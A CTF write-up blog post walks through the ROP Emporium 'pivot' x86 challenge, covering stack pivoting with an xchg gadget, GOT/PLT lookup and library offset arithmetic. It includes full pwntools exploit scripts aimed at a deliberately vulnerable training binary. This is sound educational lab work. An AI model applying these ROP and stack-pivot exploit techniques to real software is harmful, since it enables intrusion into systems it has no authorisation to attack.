Post

ROP Emporium pivot Writeup (x86)

ROP Emporium pivot Writeup (x86)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the seventh challenge of eight.

According to the challenge page our goal is to call ret2win from the libpivot library. This function isn’t imported so we’ll need to calculate its offset from another imported function. Stack space is also limited so we’ll need to “pivot” our stack to a new location.

This is what a hint will look like!

Running the Program

I believe in you, you can do this

Typically these challenges follow the format of asking the user for input and then exiting but this challenge is slightly different

pivot output

Our first input will be copied to an address which will change every time (likely space that was allocated on the heap). Since this address changes, we’ll need to construct our pivot payload dynamically. This input should contain our ROP chain which runs after the stack pointer is changed.

The second input is where we’ll start our ROP chain. This is where we’ll pivot the stack to a new address.

Offset

The offset for x86 challenges will be 44 bytes. If you want to know how to find this value see the first writeup of this series.

Useful Gadgets

Check out uselesssFunction’s assembly

Let’s check the usefulGadgets section in uselessFunction. We can view the assembly with the following commands in radare2

1
2
3
4
aaa
s sym.uselessFunction
V
p

useful gadgets

The first two gadgets will be used for stack pivoting and the last two for calling ret2win

Stack Pivoting

Use the address provided by the program to pivot to. If you’re stuck read the pwntools documentation

pivot gadgets

The xchg instruction will exchange/swap the values of the provided registers. With these gadgets, we have a way to control the stack pointer esp.

The program provides an address to switch to, but it changes every time it’s run. This means we need to create a payload based on the output. pwntools is able to read the output of a program so we can change the stack pointer esp with this python code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/python3
from pwn import *

pop_eax = 0x0804882c
xchg_esp_eax = 0x0804882e

# set esp to addr
def set_esp(addr):
    payload = p32(pop_eax) + p32(addr)
    payload += p32(xchg_esp_eax)
    return payload

# create pivot payload
io = process('./pivot32')
io.recvuntil(b'pivot: ')
addr_output = io.recvline()
# remove \n and convert to number
malloc_addr = addr_output[0:-1]
malloc_addr = int(malloc_addr, 16)
pivot_payload = b'A' * 44
pivot_payload += set_esp(malloc_addr)

ret2win

After our stack pivots, it will continue to run our ROP chain in this new location. Our next step is to call the ret2win function to read the flag. The only problem is this function isn’t imported!

Library Foothold

Analyze the library libpivot32.so and compare it to the pivot32 binary

Let’s see what functions from libpivot32 are available in pivot32. We can list functions in radare2 with the afl command

Here are the pivot32 functions pivot functions

And here are the libpivot32 functions lib functions

The conveniently named foothold_function with the address 0x08048520 is shared and will give us a foothold into the library!

Global Offset Table and Procedure Linkage Table

Find the lookup address for foothold_function

If you want a fuller understanding of the plt (procedure linkage table) and the got (global offset table) you can check the How lazy binding works section in the ROP Emporium Beginners Guide as well as this fantastic blog post

Essentially, these two tables are used by the program to lookup function addresses from a dynamically loaded library. These entries are filled only when that function is called by the program. The base library address will change whenever the program runs, but the .got.plt location will remain the same!

The .got.plt section will contain our function address after it’s looked up so let’s find the address which corresponds to the foothold_function. Section addresses can be found with the iS command

section addr

The .got.plt address is 0x0804a000 so let’s investigate this area more

foothold got plt

The .got.plt address of the foothold_function is 0x0804a024

Library Offset

What’s the offset between ret2win and foothold_function?

The base address of the library libpivot32 will change whenever the program is run. However, the relative distance between functions will remain the same!

If we want to call a different function in the library, we’ll need to find the offset between the foothold_function and our target function. Let’s check libpivot32’s function list again

lib functions

The address of foothold_function is 0x0000077d and the address of ret2win is 0x00000974

offset calc

The offset between ret2win and foothold_function is 503 or 0x1f7. By adding this value to the foothold_function’s .got.plt entry, we’ll be able to call ret2win!

Calling ret2win

Find the necessary gadgets and create the ROP chain

Our prep work is done so now we can chain some gadgets together. Here are the last two gadgets from the usefulGadgets section

ret2win gadgets

The first gadget, mov eax, dword [eax], will give us a way to read a value at an address. Perfect for reading the foothold_function’s .got.plt entry!

The second gadget, add eax, ebx, will give us a way to apply our calculated offset to the foothold_function address.

What we need now are ways to set ebx, along with a way to get to our new address.

We already have a pop eax gadget from our stack pivot payload!

Let’s start with looking for a pop ebx gadget

1
/R pop ebx

pop ebx

Alright we have enough gadgets to calculate the address for ret2win, now we need a gadget to call eax

1
/R call eax

call eax

Combining these gadgets with our curated values we can construct a payload to call ret2win!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/python3
from pwn import *

pop_eax = 0x0804882c
add_eax_ebx = 0x08048833
pop_ebx = 0x080488b6
dereference_eax = 0x08048830
foothold_got_plt = 0x0804a024
foothold_addr = 0x08048520
ret2win_offset = 0x1f7
call_eax = 0x080485f0

# create flag payload
# call foothold_function() to lookup
# current .got.plt address
flag_payload = p32(foothold_addr)
# calculate ret2win address
flag_payload += p32(pop_eax) + p32(foothold_got_plt)
flag_payload += p32(dereference_eax)
flag_payload += p32(pop_ebx) + p32(ret2win_offset)
flag_payload += p32(add_eax_ebx)
# call ret2win
flag_payload += p32(call_eax)

Exploit

We have everything we need to build our exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/python3
from pwn import *

pop_eax = 0x0804882c
add_eax_ebx = 0x08048833
xchg_esp_eax = 0x0804882e
pop_ebx = 0x080488b6
call_eax = 0x080485f0
dereference_eax = 0x08048830
foothold_got_plt = 0x0804a024
foothold_addr = 0x08048520
ret2win_offset = 0x1f7

# set esp to addr
def set_esp(addr):
    payload = p32(pop_eax) + p32(addr)
    payload += p32(xchg_esp_eax)
    return payload

# create pivot payload
io = process('./pivot32')
io.recvuntil(b'pivot: ')
addr_output = io.recvline()
# remove \n and convert to number
malloc_addr = addr_output[0:-1]
malloc_addr = int(malloc_addr, 16)
pivot_payload = b'A' * 44
pivot_payload += set_esp(malloc_addr)

# create flag payload
# call foothold_function() to lookup
# the current function address
flag_payload = p32(foothold_addr)
# calculate ret2win address
flag_payload += p32(pop_eax) + p32(foothold_got_plt)
flag_payload += p32(dereference_eax)
flag_payload += p32(pop_ebx) + p32(ret2win_offset)
flag_payload += p32(add_eax_ebx)
# call ret2win
flag_payload += p32(call_eax)

# send payloads + receive flag
io.send(flag_payload)
io.recvuntil(b'>')
io.send(pivot_payload)
io.recvuntil(b'pivot\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))

x86 flag

Conclusion

In this challenge we learned how to call non imported functions from a library by using an offset, as well as how to pivot the stack from a new location to gain more space. The next and final challenge will go over constructing ROP chains with a limited number of available gadgets (there is no x86 version of the final challenge)

Previous Challenge (fluff)

Next Challenge (ret2csu x64)

pivot x64

This post is licensed under CC BY 4.0 by the author.